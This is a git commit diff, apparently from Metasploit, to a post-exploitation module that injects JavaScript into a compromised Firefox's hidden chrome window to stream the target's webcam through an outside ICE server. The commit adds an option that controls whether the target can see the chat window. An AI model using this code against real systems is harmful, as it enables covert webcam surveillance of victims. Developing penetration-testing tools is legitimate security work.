Fix transparent background, add VISIBLE option.
This commit is contained in:
parent
a45a5631f5
commit
a33de66da4
|
@ -2,6 +2,10 @@
|
||||||
<head>
|
<head>
|
||||||
<title>Video session</title>
|
<title>Video session</title>
|
||||||
<style type="text/css">
|
<style type="text/css">
|
||||||
|
body {
|
||||||
|
background: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
div.dot1 {
|
div.dot1 {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
width: 20px;
|
width: 20px;
|
||||||
|
|
|
@ -24,6 +24,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]),
|
OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]),
|
||||||
|
OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]),
|
||||||
OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]),
|
OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]),
|
||||||
OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80'])
|
OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80'])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
@ -66,6 +67,12 @@ class Metasploit3 < Msf::Post
|
||||||
'"data:text/html;base64,"+html'
|
'"data:text/html;base64,"+html'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
name = if datastore['VISIBLE']
|
||||||
|
Rex::Text.rand_text_alphanumeric(10)
|
||||||
|
else
|
||||||
|
'_self'
|
||||||
|
end
|
||||||
|
|
||||||
%Q|
|
%Q|
|
||||||
(function(send){
|
(function(send){
|
||||||
try {
|
try {
|
||||||
|
@ -76,7 +83,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
var html = "#{Rex::Text.encode_base64(interface)}";
|
var html = "#{Rex::Text.encode_base64(interface)}";
|
||||||
var url = #{url};
|
var url = #{url};
|
||||||
AppShellService.hiddenDOMWindow.open(url, '_self');
|
AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600');
|
||||||
send("Streaming webcam...");
|
send("Streaming webcam...");
|
||||||
|
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
|
Loading…
Reference in New Issue